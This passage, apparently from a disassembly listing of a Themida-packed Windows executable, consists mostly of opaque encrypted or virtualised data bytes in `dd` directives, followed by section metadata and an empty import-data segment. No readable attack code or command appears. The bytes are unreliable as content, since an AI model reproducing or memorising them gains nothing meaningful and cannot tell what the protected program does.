0BB5F03B9h, 511D6BAFh, 8B66F8FCh dd 7E9D0h, 3ED50000h, 0FA788A6Dh, 66CA8B0Ah, 0B966F98Bh dd 6650000Bh, 0F85FF28Bh, 1E8B0Fh, 12E80000h, 0DF000000h dd 3507BB53h, 475AC8A3h, 2026003h, 0BF0FA95Ch, 0EEEB8121h dd 580B8867h, 7890Fh, 66530000h, 3027C981h, 50B6B05Fh dd 3D42E681h, 0F5E2C57h, 0B70FD6BFh, 0DDC780C0h, 9E9h dd 88B99900h, 46BB64E9h, 81B387C8h, 12E9F78Ah, 0B0000000h dd 76A83BBDh, 8906D31Dh, 838A46DDh, 4BDE59EAh, 3830F15h dd 0F000000h, 0AE9D0B7h, 4E000000h, 10D96277h, 3A8E095Bh dd 49BE663Ah, 8E94Ah, 23B00000h, 2D75FE27h, 8160C876h dd 0A07A2AC3h, 0D3BF0F7Eh, 8BF5F961h, 0F243BEDFh, 80FC2099h dd 816649DAh, 0FF4A4E3h, 8Ah, 5F8BBA00h, 810F5E34h, 4 dd 21D1BB66h, 0C8816660h, 60611280h, 0E8D78B66h, 5, 42EBEB12h dd 870FD2h, 5A000000h, 7DE08061h, 945D99BFh, 0CE96Bh, 0CEEB0000h dd 1C1EA7DCh, 846FBDDh, 0E18A4FDDh, 0B421BE66h, 0E8C78B66h dd 12h, 92EF8CCDh, 0A9D423AFh, 0B357B0D7h, 0AD442F54h dd 0EC80EF81h, 0BE959AFh, 0AB000000h, 582F3846h, 4FAF4E5Dh dd 0CB80577Dh, 2F080DFh, 7E9h, 7A099F00h, 0C52A2552h, 0FECB26BEh dd 0DE8B6615h, 188F0F57h, 0E9000000h, 13h, 0C48D54D9h dd 0E3B4AAC5h, 0DE0D6196h, 0DC99C157h, 5B1A3EF8h, 8CE8166h dd 804FB021h, 0F600CF5h, 484h, 3AB96600h, 6E831h, 8B260000h dd 73594925h, 615E6160h, 12E8h, 0E0F09900h, 0AA19B938h dd 0CCF0F590h, 3025A0CBh, 0B9F061C3h, 49133150h, 13E95Bh dd 0A1190000h, 0F8EEAA57h, 70374B50h, 0DAC72D6Ch, 333106CBh dd 0E8EA8138h, 66495E59h, 0DB81D08Bh, 53CB3D46h, 8E9h dd 0EA4BE500h, 785661F1h, 6E9B6h, 64ED0000h, 77C35E3Fh dd 4FD78166h, 0F0816689h, 830F24BEh, 6, 8B66FC60h, 66F561CAh dd 1B96EE81h, 890FF5F5h, 0 dd 0D936C381h, 0B1FC5AE9h, 14E9F515h, 0D3000000h, 2D70FEA8h dd 0D9858CC3h, 977F4471h, 63BB2F91h, 0E93C2C19h, 0Bh, 4C0FA015h dd 9BE3278Eh, 662E94FBh, 0E9D17BBFh, 0Ah, 7112863Ch, 112B5DCFh dd 0DA805929h, 1F59BF73h, 10E91ABFh, 0C5000000h, 0FF8EB447h dd 269908Eh, 74895F71h, 0F988D60h, 89h, 6E800h, 93450000h dd 418779D6h, 585A5750h, 0B8C68A5Ah, 7E760AA5h, 0E9EF8166h dd 0DE9DCh, 59B90000h, 0A42D8383h, 0D25A0556h, 0BE8061B3h dd 1319F94Ah, 9E9h, 291E2A00h, 9D451378h, 8B664071h, 0DBB866CBh dd 95D7BFE6h, 0CE93426h, 0E0000000h, 0AC450039h, 0AB6F729Bh dd 66AB9749h, 8B48BCBBh, 0FE8F7h, 0DBD70000h, 22E07A47h dd 0D6C10AF5h, 3E3D4F6Fh, 0BDBF6605h, 0E78A5EDDh, 0F50D18Bh dd 28Ah, 5E595000h, 4A785CBAh, 3DBB6672h, 12EB813Bh, 8B140297h dd 0CA8B66F2h, 8B60CB8Bh, 8F0F61DAh, 1, 0D80B8F5h, 66FC6310h dd 0E90803B9h, 13h, 0B36335C7h, 0DEF44E80h, 89431738h dd 66644E70h, 0F0F7EBFh, 138Ch, 0D8D0F00h, 0E9000000h dd 8, 0C2D7DB87h, 4AB7CED4h, 5AEB8166h, 0C2BF0F46h, 168B0Fh dd 11E90000h, 0D3000000h, 0D6AF5FA7h, 0E06071BDh, 0FC3F688h dd 0E2A608A9h, 0E0D9F381h, 0FF55BD3h, 8B66C6BFh, 0C18166F0h dd 850F8A47h, 2, 0F18BD88Bh, 0EE9h, 80415F00h, 0F1B7FBCCh dd 0AE441AA4h, 663BC49Bh, 0F449CBAh, 128Fh, 0AE800h, 8C6A0000h dd 4E977602h, 0E7E567E1h, 565FA8B2h, 9E8h, 2B1DBE00h, 47763251h dd 0B70F27EFh, 0B05E59F9h, 66D38AB6h, 5E8D38Bh, 0BD000000h dd 0C9000D9Bh, 5AC0BF0Fh, 8D0FCB8Ah, 3, 0B9FB8B66h, 6709E5DCh dd 0FCA8B66h, 88Bh, 28E0F00h, 8A000000h, 11E9C3h, 87520000h dd 0EF54F3D0h, 533DE28Ah, 626B8111h, 80E1EE05h, 0B966B5DEh dd 60608837h, 0FD98B66h, 8Fh, 0DDBF6100h, 61359965h, 0FC28B66h dd 0E956F0BFh, 12h, 44830CEBh, 2658D2B1h, 8DD4974Ch, 74D38B44h dd 665F51F2h, 0BE2ED9B8h, 3EEB90F3h, 0DE8h, 57A08D00h dd 198F7C23h, 0DC76D9B0h, 7E8480Fh, 0DF000000h, 0BE261A9Eh dd 0BF66AB8Fh, 5F5A478Bh, 0BE8EE8Ah, 33000000h, 930DD417h dd 650B1DDEh, 0E78AB652h, 0DE95Ah, 0F2290000h, 440122F4h dd 2F37200Fh, 66221981h, 0E94E20BAh, 5, 0F3D9D7D8h, 73D8818Fh dd 0F02D4B4h, 850FF1B7h, 3, 80D3BF0Fh, 0CE8135D4h, 415BB8B1h dd 0E2B750B0h, 0EE9h, 3ADF6E00h, 441851F1h, 0FE5795B4h dd 80C74E25h, 38B50AE8h, 0BE9h, 1DA0500h, 85418ACCh, 1969097Ch dd 0FE9h, 5B543F00h, 3A33CB7Dh, 0F87FBFEDh, 95CB1F4Bh dd 0A9B4DE8Bh, 57FFB70Fh, 0AE9h, 1FE0ED00h, 96CACA76h dd 5A25B8FAh, 46B76050h, 61CE8B66h, 0E9A9B55Fh, 0Bh, 3287053h dd 1B327493h, 0F547711Ah, 14E9h, 0E1045C00h, 86EE903Dh dd 0F4BDEB6Ch, 6320FBC7h, 0F5A719ACh, 0C88166FDh, 5760D9DAh dd 5FFEB70Fh, 0CE8h, 0F9F49F00h, 7C14DBB6h, 813EA10Eh dd 75BF669Ah, 8B6159AFh, 8BFE8BF1h, 71BE66D3h, 0BBBEB082h dd 301AC957h, 1589BF66h, 8F8F6DBBh, 0FF28B02h, 284h, 60C78B00h dd 10E8h, 24C46600h, 188F95DCh, 0B15EFD22h, 0EDD5EB24h dd 71E681E0h, 5B11529Bh, 910C96BFh, 8A60613Eh, 61D18BEEh dd 0D6B65756h, 8CB55A5Fh, 0E9E8DC80h, 6, 2C2638D7h, 0CE871A3h dd 6000000h, 60FAAEB5h, 0B1254393h, 599EB3C1h, 0FEE8166h dd 0FCE18123h, 803BC8ADh, 0DE96AE6h, 0E4000000h, 0A86946BAh dd 0B29A3A4h, 0C93DD0F1h, 3850Fh, 0BF0F0000h, 0CB8BF5CFh dd 12E9h, 0D4E6BD00h, 0AC4BC82h, 0EF3B6A1Ah, 4005F44Bh dd 0E9D7EAF9h, 7, 29B6C709h, 0FC82480h, 58Fh, 0E0805000h dd 0EE95BCAh, 0F6000000h, 5213AF42h, 70C56A64h, 0C97A964Ah dd 0EBE980F1h, 8E960h, 9E7B0000h, 3236C5Eh, 0B8664ADCh dd 0BE61D6ABh, 57D7C019h, 0E9CBBF0Fh, 0Fh, 727EF89Ch, 5FE38BB4h dd 0C1BC55CBh, 0F394290h, 800FF0B7h, 0 dd 0AE9h, 6B224600h, 0DFD34495h, 0E8A9BA09h, 6, 0DC1662E2h dd 59F81C2Fh, 48B0Fh, 0BA660000h, 14E8D9D5h, 50000000h dd 1C1D0938h, 6F4F318Ah, 0E2868CAEh, 0A597F3E1h, 0E95AA88Fh dd 0Eh, 528905CFh, 0FB828D52h, 0FEFBF5Dh, 53598525h, 0F616060h dd 5E61F2B7h, 12E8h, 0CE8B1100h, 847790BCh, 3D44BFCCh dd 0E271CFD5h, 0B67C7D52h, 8B665BF1h, 66BAB1D9h, 0E89AE0BBh dd 0Dh, 9BCD5292h, 9296123Dh, 0BB304D90h, 860F5E02h, 0Ah dd 8D0F60h, 8A000000h, 9CB661F4h, 11E9h, 1C77B800h, 84C67EE4h dd 0D151686Dh, 1BC1C92Ah, 0CA8122C3h, 4F11E60Fh, 9BCAD981h dd 0AE9638Dh, 6B000000h, 0B1611256h, 6C4275C5h, 0E9505627h dd 8, 0E96AE032h, 0C25D8436h, 8B665B5Fh, 0B8B0FCAh, 0E9000000h dd 6, 0AFA577B7h, 0FB8B63BCh, 2BB96FB0h, 6662B08Ah, 0C340C781h dd 1AA5E881h, 0E857397Fh, 0Ch, 4DB61353h, 0F7C00186h, 97392105h dd 84F99AB9h, 665F5E44h, 0EC80FB8Bh, 0BB67B3E1h, 2661D4E4h dd 2880F60h, 8A000000h, 9E9DAh, 0EA5E0000h, 62DB9416h dd 61E21ED5h, 0ADC580F9h, 11FBF381h, 6E9779Fh, 0BE000000h dd 0F2494C20h, 6E9D4h, 39A50000h, 0C76CE2D3h, 0FE8h, 7C913200h dd 0E87F2F95h, 66982142h, 7905FFEBh, 0F58E1B3h, 8B66DFB7h dd 6671B6F7h, 6548EE81h, 8166CB8Bh, 0B8C9D8D3h, 213715ACh dd 3982C181h, 850F0E63h, 0 dd 12E8h, 0BD8FE000h, 8154FDB0h, 4E3C6DD0h, 12BC30F8h dd 8078557Fh, 0E95A3FD8h, 8, 1FF6EC19h, 0A60A48CCh, 0B8C88B66h dd 1F8E7EC3h, 66C1BF0Fh, 0BF66CA8Bh, 9E92BABh, 0BE000000h dd 0B636FBEDh, 0EC647C4Ah, 36E38166h, 7E9BDh, 71460000h dd 2D2B69DBh, 6810FDCh, 81000000h, 0C56ECAE2h, 0EEC5804Fh dd 8BD78B66h, 0EF8166D3h, 0FCF58AB9h, 66F5CF8Bh, 4816C181h dd 0E8F7B70Fh, 10h, 766C2387h, 192B45C9h, 676C82A4h, 2EF93C46h dd 0DE95Fh, 401A0000h, 4530B784h, 6D2A5D9Ch, 0F53263FEh dd 11E8h, 0F86AD900h, 0F8299E0Ch, 39361445h, 0E26EA8Eh dd 0F960FEABh, 96E4C281h, 59613B5Fh, 1A2BDB81h, 0FFC5C41h dd 82h, 0DA8BF900h, 4F4EDF81h, 5E94350h, 0A2000000h, 9131C54h dd 6B4ECA81h, 0EE94A57h, 0B000000h, 6950E671h, 4E9626C2h dd 29D05D32h, 0CFBF0F2Ah, 830Fh, 0C78B0000h, 0DE8BCA8Ah dd 14E9h, 0BE18FB00h, 3AAA6B09h, 39A0CF9Eh, 1085AD40h dd 4FDA1357h, 60D18B7Eh, 0B0F08166h, 3E38092h, 11E961h dd 296C0000h, 6487E6AEh, 0C927A49h, 0CECC0538h, 8AF2183Fh dd 0FEBF0FE7h, 0D0816657h, 6659DFD6h, 6E9C78Bh, 5F000000h dd 2D5FF539h, 0EE9FC08h, 55000000h, 60565972h, 7656E5Fh dd 7EF6CD0Fh, 0F9BBB7E0h, 8E9h, 0B56DAB00h, 9CBF54C3h dd 0FC38BDFh, 9E9D8BFh, 0F000000h, 0C35979A0h, 0B1D3F618h dd 0FE8C380h, 784h, 4EBB5200h, 5A1B2EEEh, 66F9BF0Fh, 0F9808BBh dd 384h, 0C28B6600h, 0A2F1B966h, 12E8h, 3029C600h, 0D0391007h dd 969D48B5h, 0CC3466ABh, 0B0208ECFh, 59515F70h, 8E9h dd 0C58FF800h, 0C3801E03h, 41A76AB1h, 284h dup(41A76A22h) dd 0C5A76A22h, 11Eh dup(0BBC2B209h), 47C2B209h, 327h dup(47E36A6Ch) db 6Ch, 6Ah word_5D738E dw 47E3h ; DATA XREF: Themida_:0054E610o dd 0E3866A6Ch, 2Eh dup(0E3864B32h), 724E4B32h, 82h dup(724ECF7Bh) dd 1C4ECF7Bh, 0FBh dup(1CBFE819h), 11321119h, 285h dup(11321161h) dd 8FFh dup(0CCCCCCCCh), 0CCh, 1E8h dup(0) Themida_ ends ; Section 5. (virtual address 001DB000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 001DB000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 5DB000h align 2000h _idata2 ends end start